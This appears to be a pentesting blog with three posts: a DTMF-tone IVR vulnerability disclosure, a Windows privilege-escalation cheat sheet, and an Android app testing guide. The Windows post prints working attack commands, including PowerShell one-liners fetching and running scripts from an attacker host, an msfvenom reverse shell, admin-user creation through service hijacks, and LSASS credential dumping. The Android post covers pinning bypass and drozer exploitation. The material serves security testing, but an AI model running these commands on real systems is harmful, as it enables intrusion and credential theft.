A Virgil's Guide to Pentest

Tuesday, 29 May 2018

0day - Legacy IVR - Let's Phreak

This blog is based on a research that my friend and I were doing just for fun, we never expected to land a research but it was amazing when it was assigned a CVE-2018-11518.

Phreaks: Dhiraj Mishra and virgil_cj

Lets begin, legacy Interactive Voice Response(IVR) systems work on frequencies and these legacy systems are still being used widely which can be easily manipulated remotely by generating our own frequency.

Lets say you dial 198 from your mobile phone and the automated voice you hear is the IVR. So it says you to press 1 or 2 and so on, and every time you press a number in your number pad a dial tone is heard, this is actually a frequency that the IVR system uses to receive your input.

This means we have control of the flow of any user using the IVR just by generating the required frequency and manipulate it to do anything like recharging or subscribing for a new caller tune etc.

A CVE-2018-11518 was assigned and we also made a video POC on how this is actually done.

If you are wondering how this could be made an attack, then lets say if these DTMF frequencies are played in loud speakers in public places and if anyone in that place is making an IVR call then

Blog Archive

May 2018 (1)
February 2018 (3)

Report Abuse

- Home

Search This Blog

Search

these frequencies will be taken as input for those users and by playing it repeatedly we can activate services to that user without the person even realizing it.

Telecom must move their system into newer technology rather than still using old legacy systems.

Video POC : https://www.youtube.com/watch?v=MHvGx0URN_I
Research paper: CVE-2018-11518

at May 29, 2018

Tuesday, 20 February 2018

Escalation Time

Windows Privilege escalation was one thing I struggled with, it was easy enough to get a shell but what next? I am just a normal user. Where do I start, what to look for, I guess these are questions that come to your mind when you want to escalate. Well this is the methodology which I follow for privilege escalation. Again this is only my flow and yours may be different, follow what works best for you.

Okay once I get my shell, I want to escalate as quickly as possible without wasting too much time so I run the scripts, find exactly what needs to be done and exploit it. I would suggest you to try out all the manual methods first before using automated scripts or you will not know which tool gives which data. Once you know that go for the automated scripts.

Remember each script has different formats and check for different things so know what exactly the scripts are doing before running them. I would suggest to use wget.vbs for transferring files from linux to windows as that always worked for me.

I) Automated scripts:

Script 1: https://github.com/pentestmonkey/windows-privesc-check
https://github.com/pentestmonkey/windows-privesc-check/blob/master/windows-privesc-check2.exe

Script 2: https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py

Script 3: https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat

https://github.com/enjoiz/Privesc/blob/master/privesc.bat

Script 4: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

Script 5: https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

I never got an interactive powershell cmd so I use oneliners.

One-liners for script 4 & 5:
These one-liners download the script from your webserver and run it directly on the victim machine.

```
c:\>powershell.exe "IEX(New-Object
Net.WebClient).downloadString('http://192.168.1.2:8000/PowerUp.ps1') ;
Invoke-AllChecks"

c:\>powershell.exe -ExecutionPolicy Bypass -noLogo -Command "IEX(New-
Object
Net.WebClient).downloadString('http://192.168.1.2:8000/powerup.ps1') ;
Invoke-AllChecks"

c:\>powershell.exe "IEX(New-Object
Net.WebClient).downloadString('http://192.168.1.2:8000/Sherlock.ps1') ;
Find-AllVulns"
```

If you have your ps1 file downloaded to the victim machine then run using this

```
c:\>powershell.exe -exec bypass -Command "& {Import-Module
.\Sherlock.ps1; Find-AllVulns}"

c:\>powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;
Invoke-AllChecks}"
```

I always prefer the one-liners, clean and simple, but you might lose your shell after executing it.

II) Manual enumerations:

Step1: Analyze script **1, 3 & 4**

I will be listing out the manual process down below but for now these are the best guides I personally found to be very useful to understand what's happening under the hood.

Enumeration 1: http://www.fuzzysecurity.com/tutorials/16.html

Enumeration 2: http://hackingandsecurity.blogspot.in/2017/09/oscp-windows-priviledge-escalation.html
Enumeration 3: https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

III) Kernel exploits:

Analyze script **2 and 5**.

Get the exploit-db number and replace it in step1 to get the code and compile it on your own, or once you have the exploit-db number you can directly get the precompiled exploit by using the number in step2.

Exploit Step1)
https://www.exploit-db.com/exploits/"Exploit-db-Number"/

Exploit Step2)
https://github.com/offensive-security/exploit-database-bin-sploits/find/master/" Exploit-db-Number"

Exploit step 3)
https://github.com/abatchy17/WindowsExploits/

So by this time either we have high privilege or we know what is the exact vulnerability to exploit to get our privilege.

And that's it, we have covered almost everything, short and simple, Security patches, Kernel exploit, misconfigurations, the only thing we need now is manual way to find and exploit it. Let's head on.

Manual enumeration steps:

This is the long form of the manual enumeration you saw above.

Do I know my victim?
Understanding what system will help you to better visualize if your exploits will work or not since some features are available for older versions of OS and not in the later and vice versa.

```
systeminfo
hostname
```

```
echo %username%
net users
netstat -ano
netsh firewall show config
schtasks /query /fo LIST /v
tasklist /SVC    ///command links running processes to started services
```

Easy wins:

Search all these files for passwords. Don't miss out on easy escalations. Once you get the password it's just a matter of PsExec to give yourself admin privileges.

c:\unattended.txt
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
Vnc.ini
ultravnc.ini
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

You can also use pwdump and fgdump to dump out passwords.

Just an FYI before running these commands, I found these commands to give a lot of output on the screen.

```
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Executing command as another user, I always prefer to use psexec.

```
C:\>PsExec: PsExec.exe -accepteula -u adminuser -p password
c:\windows\system32\net.exe localgroup administrators
MyDomain\currentusername /add
C:\>runas: c:>runas /user:virgil cmd.exe
```

//this will popup a new cmd so better use this to create new user or put yourself in admin group.
Restart the victim system as the registry changes needs to be updated

```
C:\>shutdown /r /t 1
```

Commands to remember:

These are important command which you will be using quite often, since you have to find the vulnerable directory or path or file.

```
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe /accepteula
```

 # Find all weak folder permissions per drive.

```
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
```

 # Find all weak file permissions per drive.

```
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
```

Scheduled tasks:

```
schtasks /query /fo LIST /v
```

Read the output of scheduled tasks and check the following:

```
Run as User: system
```

If you get any as system then go through that in detail to find the "Task to Run", time and schedules.
Based on "Task to run", check the access permission of that folder and file.
Eg: `accesschk.exe -dqv "E:\getLogs"`
If it has readwrite(RW) for authenticated users then we can overwrite the file its trying to run as system with ourpayload.

Generate payload:

```
#msfvenom windows/shell_reverse_tcp lhost='127.0.0.1' lport='1337'  -f exe > /root/Desktop/evil-log.exe copy evil-log.exe E:\getLogs\log.exe
```

Overwrite it. Open a listener and wait for it to run and grab a shell as system.
You will need to take time to examine ALL the binpaths for the windows services, scheduled tasks and startup tasks.

The below are checked by winprivesc/powerup so you should get it in the powershell output, but have to learn the manual methods too.
Reference: https://toshellandback.com/2015/11/24/ms-priv-esc/

Weak file and folder permissions or misconfigured service:

1. Trusted Service Path/ unquoted service path:

If there is a service with its exe path which has space in it then make a file.exe with the file name as the first name before the space and restart service.
Command to check the servicename and path.

```
C:\>wmic service get name,displayname,pathname,startmode |findstr /i
"Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
```

Make sure you have permission to edit/put files in the folders using icacls

```
C:\>icacls "C:\Program Files (x86)\<Folder name>"
C:\>cacls "C:\Programs Files\foldername"
C:\>accesschk.exe -dqv "C:\Program Files\foldername"
C:\>start and stop service
C:\>sc stop <service-name>
C:\>sc start <service-name>
```

To restart a system: `C:\>shutdown /r /t 0`

2. Vulnerable Service:

a. Service binaries:

Replacing the entire exe with malicious with proper permissions to files and folders.
http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/

```
cacls "C:\path\to\file.exe"
```

Look for Weakness
What we are interested in is binaries that have been installed by the user. In the output you want to look for BUILTIN\Users:(F). Or where your user/usergroup has (F) or (C) rights.
Example:

C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F
That means your user has write access. So you can just rename the .exe file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.
Here is a POC code for getsuid.

```
#include <stdlib.h>
int main ()
{
int i;
    i = system("net localgroup administrators theusername /add");
```

```
return 0;
}
```

We then compile it with mingw like this:

```
i686-w64-mingw32-gcc winexp.c -lws2_32 -o exp.exe
```

Move the exploit binary in place of the original binary file.
Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using wmic or net the following way:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name].
The binary should now be executed in the SYSTEM or Administrator context.

b.Windows services:

Replacing 'binpath' property: Tool to use: accesschk.exe from sysinternals.
There is a detailed explanation for this above.

```
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" *
accesschk.exe -qwcu "Everyone" *
```

You must get a 'RW' with SERVICE_ALL_ACCESS

```
sc qc <service-name>
sc config <service-name> binpath= "net user virgil P@ssword123! /add"
sc config upnphost obj=".\LocalSystem" password=""
sc stop <service-name>
sc start <service-name>
sc config <service-name> binpath= "net localgroup Administrators virgil
/add"
sc stop <service-name>
sc start <service-name>
```

This should add a new user to administrators group. Try it when you have upnphost service.
This can also be used to get reverse shell as SYSTEM

3. Always install elevated:

If the two registry values are set to 1, we can install a malicious msi file.

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

Generate shell code:

```
msfvenom -p windows/adduser USER=virgil PASS=P@ssword123! -f msi -o
exploit.msi
msfvenom -f msi-nouac -p windows/exec
cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" > exploit.msi
```
Run the Msi like
```
msiexec /quiet /qn /i C:\Users\Virgil\Downloads\exploit.msi
```

Dll hijacking :

This is one method which I personally dont like doing but still I had to. Try out dll hijacking when you have any of these application installed
Hijackable applications: https://www.exploit-db.com/dll-hijacking-vulnerable-applications/
If an application loads a DLL and it does not give a fully qualified path, windows will search for the dll in a particular order and execute it if it finds it.
Fuzzysecurity is the best guide which I follow for this topic.

Admin to system:

Psexec: admin to system
```
c:>psexec -i -s -d cmd.exe
```
This will popup a new cmd prompt, so better have rdp to system

AT:

This is replaced by schtasks.exe in newer systems. This creates a scheduled task to be run.
```
>at 13:20 /interactive cmd
>net use \\targetserver /user:DOM\user pass
>net time \\targetserver
>at \\targetserver 13:20 c:\temp\evil.bat
```

Passwords through process dumping:

```
C:\>net use \\targetserver /user:DOM\user pass
C:\>copy procdump.exe \\targetserver\c$
C:\>copy procdump.bat \\targetserver\c$
C:\>procdump.exe -ma lsass %CNAME%.dmp
C:\>at \\targetserver 13:30 C:\procdump.bat
C:\>copy \\targetserver\c$\targetserver.dmp .
```

This was helpful image that's sums up the kernel exploits, not sure from which blog I got it, but credits to the person who made this. You can actually combine this with the kernel method I mentioned above to directly get the compiled exploits.

Kernel Exploit complete table

This was the flow I follow overall for any windows based privilege escalation. I suggest you to make you own checklist and flow.

Miscellaneous:
One automated tool which I would recommend you to try out is PSAttack.

Credits @snadar73

at February 20, 2018 3 comments:

Tuesday, 13 February 2018

Operation Android

Master the basics first. I have been doing Mobile app testing for quite sometime, didn't note down too much data though as everything was hands on, but I will walk you through from the basics. There are many tools out there, you can try them all and chose what works best for you, I would say use few tools and be a master of it.

FYI: I will only be covering basic **android** pentesting here. iOS and runtime hooking and manipulation will be posted on later days.
So what do you do when you start with any android application, either you get the apk file from your client or you downloaded the app from playstore, if so, use an apk extractor and get the apk file and copy to your system.

Emulator: Either Nox app player or Genymotion. I prefer Nox personally. Anything else which you are comfortable with will do too. I also use a MotoG2 with cyanogenmod 12.
Nox has its own adb and you will find it under **C:\Program Files (x86)\Nox\bin\nox_adb.exe**

I generally break down my process into three parts
1. Reversing and static analysis
2. Dynamic analysis
3. Storage/Database/Log analysis

Let's go one by one.

All the apk are zip files so you can just extract them. Rename the .apk to .zip and extract the contents to your test folder
and firstly go to **/res/raw** , mostly you will get something interesting here. Either config information, authentication token, admin credentials for internal app servers anything.

Browser through the files and folders, if you are lucky and if app is not obfuscated you can sometimes get the entire JS files source code just like that without decompiling.
Decompiling: You can use **apktool** or if you want a visual representation I would recommend using **jadx-gui**.

```
#apktool d vulnerableapp.apk
```

Examine the **AndroidManifest.xml** file. This will be the starting point.
Note down your package name from the first line of your AndroidManifest.xml and it will look something like com.mytestapp.mycompany will come in handy later.

AndroidManifest.xml :

These are the things to look for in the **AndroidManifest.xml :**

1. **Android permissions:** Do you really need those permissions, does the app use it? For example READ/WRITE_EXTERNAL_STORAGE is one permissions applications shouldn't use unless it is really needed. This allows the app to read and write files to your Sdcard. If this permission is enabled then it is possible that the application is actually storing something in sd, maybe in a dot file so that it seems hidden which may contain sensitive information, or even crash logs.
2. **android:debuggable=true**. This value must be set to "false". Else it allows user to connect to the application using adb and execute commands or functions within the application. Default Value is false.
3. **android:allowBackup=true**. This value must be set to "false". If it is set to true we can backup applications and restore it later. Default value is True.
4. It can also have meta-data like API keys or token keys, but I never really saw those as issues, maybe I am wrong.

Once the manifest file is over, load up the apk in jadx-gui and go through all the java files, it is possible they have hardcoded keys, passwords, developers actual phone numbers and email addresses in comments, internal IP and URLs.
There was actually one time when the developer name and email ID gave access to the company's shared mail account, so every bit of information is useful.

It is possible that the application looks as if all the codes are obfuscated but when you install the app it actually decompiles all the code and stores it in the sdcard.

When looking through codes using **jadx-gui** or any other tool make sure to look for the following:

1. Check for Log storage codes
2. Codes that saves any info in the system
3. Database codes and what are saved in that
Make a note of all these as these are what we will look in the final stages to get hidden gems
4. Check for type of encryption or encoding any encryption keys can be hardcoded
5. Look for import security, crypto.cipher codes
6. Look for webview codes, which can be used for XSS in dynamic testing

Since I test on a windows system with Linux subsystem enabled I directly jump into a linux environment just by typing 'bash' and grepping out things I need.
Basically grep for Passwords, keys, SSL codes, emulator protection, root checks

Also grep for these for Webview
setAllowContent
setAllowFileAccess
setAllowFileAccessFromFileURLs
setAllowUniversalAccessFromFileURLs
setJavaScriptEnabled
setPluginState
setSavePassword
JavascriptInterface, if there is jsvar then we can get XSS and do command exec, check cve2012-6636, sdk <=17 are vulnerable

In case you want to make any changes in the application source code first view the code in jadx-gui. After reviewing the code in java , go back and make changes to the smali file decompiled using apktool. Then build the apk back using
`#apktool b decompiled_folder/ -o newapp.apk`
Then sign the apk. The alias_name can be anything but make sure you use the same name in all commands.
`#keytool -genkey -v -keystore androidkey.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 100`
Now we have a private key. Now lets sign the app
`#jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore androidkey.keystore newapp.apk alias_name`

Here comes ADB

ADB:
`#adb devices` //To check what all devices are connected
`#adb connect` 192.168.1.2 //To connect to a particular mobile device through IP
`#adb shell` // To get a shell on the emulator or phone
`#adb push/pull` //To upload and download files to and from the device
`#adb install vulnerableapp.apk`

```
#adb uninstall com.package.test
```
Always while uninstalling you should use the package name to uninstall.

SSL Pinning bypass:

To check that ssl pinning is enabled look for the following strings in the code
1.KeyPinStore
2.KeyStoreException
3.X509Certificate
4.TrustManagerFactory

Three methods almost always worked for me in bypassing SSL pinning.
Bypass Method 1: Xposed framework along with SSLUnpinning 2.0 (works like a charm)

Bypass Method 2: This is a latest one released quite early in 2019. I am giving the link below. This worked where other methods failed.
Ref: https://omespino.com/tutorial-universal-android-ssl-pinning-in-10-minutes-with-frida/

Bypass Method 3: This worked for me. Install Android-SSL-TrustKiller by iSecPartners
https://github.com/iSECPartners/Android-SSL-TrustKiller/releases/
Install the app and automatically you will be able to capture the request in burp/any proxy.

There is a similar method using Xposed framework and JustTrustMe apk. I haven't tried this but it's worth a check.
https://cooltrickshome.blogspot.com/2018/11/ssl-pinning-bypass-on-android-emulator.html?spref=tw

Bypass Method 4: Reverse the app and remove the code. Read through SSLPinning bypass by Denis andzakov.
http://www.security-assessment.com/files/documents/whitepapers/Bypassing%20SSL%20Pinning%20on%20Android%20via%20Reverse%20Engineering.pdf

Other reference: https://blog.netspi.com/four-ways-bypass-android-ssl-verification-certificate-pinning/

Breaking Mobile app Protection mechanism:

Root and Emulator detection:
First get your smali code and java codes.
File.apk (unzip and get classes.dex)-> d2j-dex2jar -> Open in jd-gui //This is another method to get source code
File.apk-> apktool d -> you get smali files
Load in Jeb or IDA Pro or just grep.

Emulator Detection:

Check for goldfish.
```
#grep -r goldfish
#grep -r goldfish smali*
```
Once we find the location of this, we can go there and modify it as needed.

If we find any emulator detection code that searches for "Build.Props" like
Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown")
like this or if it searches for any particular string then just change that string in your emulator Build.Prop file
You can use a build.prod editor app or any root explorer app to search in the system file for it and edit it.

Once in build.prop you can edit the following things:

Edit Android Version by locating ro.build.version.release= and changing the current Build Version.
Edit your Model # by locating ro.product.model= and changing your model #
Change your product brand by locating ro.product.brand= change as needed

Please Note that if you change the product brand, the name MUST be in ALL LOWERCASE LETTERS!!!

Once you are done playing around, press menu, and then Save...now just exit the app and reboot your phone.
Once your device reboots, go to Settings> About Phone/Device and see the changes.

Source: <https://forum.xda-developers.com/showthread.php?t=1948558>

Static Root checks:

1.**Look for binary, file or directory**:(Looking for SuperUser.apk):
Solution: Just rename the binary. If the app is searching for SuperUser.apk , then rename to notsuperuser.apk, if app is searching for /system/bin/su change to /system/bin/notsu

2.**Checking /system attributes:**
App will check for read-write permission for /system.
Solution: change to read only using the following command:
"mount -o ro,remount,ro /system"

3.**Hashing Files:**
App create a hash of superuser.apk and then checks.
Solution: Patch the binary OR no-op out the check ,OR change value in memory via a debugger

4.**Binary check:**
App will run whoami and check if its root.
Solution:Replace whoami binary on phone which does not give root
Patch out checks in binary
Modify Value in debugger.
Reference: https://www.youtube.com/watch?v=ftQVDMsCaYw

Oh Yeah Drozer:

Before that a little about Activities, services Content providers.

Activity: Touching an app is activity, launching app. Any event that triggers a change in the Visual representation is an activity.
Service: Long running process, running in background like playing music
Intent receiver: Responds to input, input can be SMS, phone reboot, losing WiFi. Intents are ways of sending messages between different functions.
Content Provider: Content providers are used by applications to communicate and share data with other applications. A misconfiguration will allow other apps to access unintended or sensitive data.
Broadcast receivers: Listen for something
Explicit intent: Recipient of the intent is specified. So we can specify that only certain app/broadcast receiver can take a particular intent.
Implicit Intent: The platform decides where it should be delivered, like we open a link and it asks how do you want to open? Chrome or Mozilla etc.
EXPORTED: Means your app can interact with something else, like some other app or event.
Intent receiver Fail: Intent receiver must not be implicit, then any app can provide malicious/false information to that app. Any application can also listen to intent from that app if intents are implicit

Drozer: https://labs.mwrinfosecurity.com/tools/drozer/
Install drozer server in mobile device, and agent on your host machine. You can do this in both windows and linux. For Windows machine install universal adb so that you can directly use adb from command line.
Start the drozer server in the mobile device.

To do that type:
```
#adb forward tcp:31415 tcp:31415
#drozer console connect
```
To find the **package name** type:

```
dz>run app.package.list
```
To get details on the application like permissions:
```
dz> run app.package.info -a com.package.test
```
To find the **attack surface** for the package:
```
dz>  run app.package.attacksurface com.package.test
```
This will give a list of attack surfaces available. We are interested in **content providers**
```
dz>run app.provider.finduri com.package.test
```
Once we find the content provider we are interested in we have to query it.
```
dz>run app.provider.query content://com.package.test.Secret/mysecrets --
vertical
```
Drozer uses only internet permission so getting info from content providers is a vulnerability.
We can also use content providers to read sdcard files and do a directory traversal attacks.

All DROZER commands

Starting a session
```
c:\>adb forward tcp:31415 tcp:31415
c:\>drozer console connect
Retrieving package information
dz>run app.package.list -f "app name"
dz>run app.package.info -a "package name"
```
Identifying the attack surface
```
dz>run app.package.attacksurface "package name"
```
Exploiting Activities
```
dz>run app.activity.info -a "package name" -u
dz>run app.activity.start --component "package name" "component name"
```
Exploiting Content Provider
```
dz>run app.provider.info -a "package name"
dz>run scanner.provider.finduris -a "package name"
dz>run app.provider.query "uri"
dz>run app.provider.update "uri" --selection "conditions" "selection arg"
"column" "data"
dz>run scanner.provider.sqltables -a "package name"
dz>run scanner.provider.injection -a "package name"
dz>run scanner.provider.traversal -a "package name"
```
Exploiting Broadcast Receivers
```
dz>run app.broadcast.info -a "package name"
dz>run app.broadcast.send --component "package name" "component name" --
extra "type" "key" "value"
dz>run app.broadcast.sniff --action "action"
```
For exploiting exported broadcast receivers: https://manifestsecurity.com/android-application-security-part-18/

Exploiting Service

```
dz>run app.service.info -a "package name"
dz>run app.service.start --action "action" --component "package name"
"component name"
dz>run app.service.send "package name" "component name" --msg "what"
"arg1" "arg2" --extra "type" "key""value" --bundle-as-obj
```

Reference: https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet

Directory Traversal:

```
dz>run app.package.list -f vulnerableApp
com.package.test
dz>run app.package.attacksurface com.package.test
dz>run app.provider.finduri com.package.test
```

We cannot also query to get details. it depends on the content provider.
Now our goal is to use content provider of vulnerableApp to read file from SD using drozer.

```
dz>run app.package.info -a com.package.test
```

This show the permission of adobe which shows
android.permission.READ_EXTERNAL_STORAGE
Since query will not work we will try to use "read"

```
dz>run app.provider.read
content://com.package.test.file/../../../../mnt/sdcard/secret.txt
```

After com.package.test.file which is the content provider name, we tried to do a directory traversal to read the content of the file secret.txt which is under mnt/sdcard. The dotdotslash(../) may vary
Check for both read and query.

Activity:

If u get activities exported in drozer then use:

```
dz>run app.activity.info -a <package>
dz>run app.activity.start --component <package><activity>
```

Exploiting custom permission

Sometimes custom permission make it difficult for drozer to query data, to query such data we have to find the permission and add it in drozer and recompile drozer.

```
dz>run app.package.list -f vulnerableapp com.package.test
dz> run app.provider.finduri com.package.test
dz>run app.provider.query
content://com.com.package.test.db/outgoing_filters/
```

If it shows an error saying permission denied and requires android.permission.CONFIGURE_SIP

Now we will decompile vulnerableapp.apk and look how it asks for permissions
We will do this using apktool->android manifest file.
We see that the manifest file has permissions android.permission.CONFIGURE_SIP and one more similar one.

Since this is an custom permission we will copy this permissions and recompile drozer apk with these permissions and install it and use it. So decompile dozer apk file and open the AndroidManifest.xml and copy the extra permission and uses lines you found in vulnerableapp AndroidManifest.xml into the manifest file of drozer and save it. Now u will/might have certain references to a file called string.xml and it will look like: *android:label='**@string/permlab_useSip**'*. So we have to get the reference string as well. To do that open strings.xml for both the drozer.apk and vulnerableapp.apk which we had decompiled.

Location is vulnerableapp/res/values/strings.xml and copy the **permlab_useSip** and similar string which were used to your drozer's strings.xml file, save it. Recompile the new drozer decompiled file to an apk.

```
#apktool b drozer/ -o drozernew.apk
```

Sign it :

```
#jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore drozernew.apk alias_name
```

Uninstall the previous drozer and install the new one
Now go to drozer

```
dz> run app.provider.query
content://com.package.test.db/outgoing_fileters/ --vertical
```

Voila now you will get all details.

Backup based vulnerability:

```
#adb backup com.package.test -f vuln.ab
```

A pop-up will appear on phone click backup my data.
We have to remove the first 24bytes which is the header

```
#dd if=vuln.ab bs=24 skip=1| openssl zlib -d > vuln.tar
```

OR Download androidbackupextractor. You will get a file abe.jar

```
#java -jar abe.jar unpack vuln.ab vuln.tar
#tar -tf vuln.tar > vuln.list
#tar -xvf vuln.tar
```

Now everything will be extracted. Go inside apps and package and basically change whatever you want to change in the app to be reflected back. For example you can modify preferences.xml to bypass login. Once all changes have been made now we will convert the extracted files back to tar file.

```
#star -c -v -f vuln_new.tar -no-dirslash list=vuln.list
```
Now we will have our newtar file i.e vuln_new.tar
```
#java -jar abe.jar pack vuln_new.tar vuln_new.ab
```
We need to get the 24bytes header back again, for that do
```
#dd if=vuln_new.ab bs=24 count=1 of=vuln_2.ab
#openssl zlib -in vuln_new.tar >> vuln_2.ab
#adb restore vuln_2.ab
```
Give confirmation in our device and open the app and see the changes made.

Automated Tool: Sometimes it is good to throw the apk into an automated scanner so your clients don't complain when their automated scanner finds something.
MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF
This is an awesome tool, little difficult on the initial setup though but once done works like a charm, better install in windows environment.

Dynamic Analysis:

```
#adb logcat > log.txt
```
This is the first thing to do before starting any dynamic testing. Let logcat go on throughout your testing process. You can also do it after the testing but if you wanna check if some critical data is being logged as and when the communication is happening then doing at the beginning is better.

Response tamper: This one is really useful only for mobile based application. Keep your response capture in Burp ON.
Since all the codes are inside the application the app trusts the response from the server to do further processing. You can take advantage of this to trick the application by sending misleading responses and gain access or bypass stuff.
This actually gave me multiple login bypass, PIN bypass, verification bypass, access to unauthenticated information and many more. To exploit this you have to check the difference between a valid and invalid response and change accordingly. **For example**: Let's say a valid username and password combo gives a response as "SUCCESS" and an invalid combo gives "failure". By giving an invalid password and changing the response from "failure" to "SUCCESS" you are actually tricking the application to believe that the username and password you gave earlier is valid and it will let you login.

Webview vulns:
http://50.56.33.56/blog/?p=314
Webview using metasploit: Try out this exploit, this was for android less than 4.2 but application's inbuild webview can also be vulnerable so it's a good try to get a RCE.
Exploit: exploit/android/browser/webview_addjavascriptinterface
Most of the other vulnerabilities are same as what you perform in a web application, assuming you are a master in web app pentesting I am only focusing Android based exploitation.
To know what to test exactly you can follow the OWASP Mobile App check list, its for both android and iOS.

Storage/Database/Log analysis:

First thing to do is extract the data files from the emulator/phone.
Since you already know the package name you can directly extract it to your local machine

```
C:\>adb pull /data/data/com.package.test c:\extracted\
```

Make sure you get all the files related to the application, as seen in the code analysis there might be log files too stored in different location like sdcard. So search and get all files. Sometimes it is possible that not all files will be extracted like some cache file, for that you can simply cat it from your root shell.

The first file to look will be your **shared_prefs.xml**, this file might contain very useful information, sometimes even plain text username and password.
Next will be your .db files, this might be encrypted sometimes and you might also get the decryption key from the codes if not hidden well.Download sqlite browser: http://sqlitebrowser.org/. An easier way to view all the db files. You might get some sensitive data here too.
Oh yeah almost forget the logcat output. Grep the logcat output with process ID and look through it entirely to find if there are anything logged.

Guess this should cover almost all of the basic. As said earlier, dynamic hooking, manipulation and iOS is for another day.

TO DO for next android pentesting post:
Andbug debugging
Xposed framework hooking
Frida
Cydia substrate

And some **Miscellaneous** for you all to go through.
JEB: Is an awesome tool. For now you can just load up the apk file and directly search for all the strings and see where they occur in codes and it can be used for code level manipulation as well. I am still trying to get around this though.
Jeb: https://www.pnfsoftware.com

Cracking Java Key store: https://github.com/floyd-fuh/JKS-private-key-cracker-hashcat

Learn Dalvik: http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
Android security Virtual machine plus testing frameworks and tools:
https://github.com/sh4hin/Androl4b

Still if you want bunch of tools then here it is http://www.droidsec.cn/android-security-basic/

at February 13, 2018 4 comments:

Home Older Posts

Subscribe to: Posts (Atom)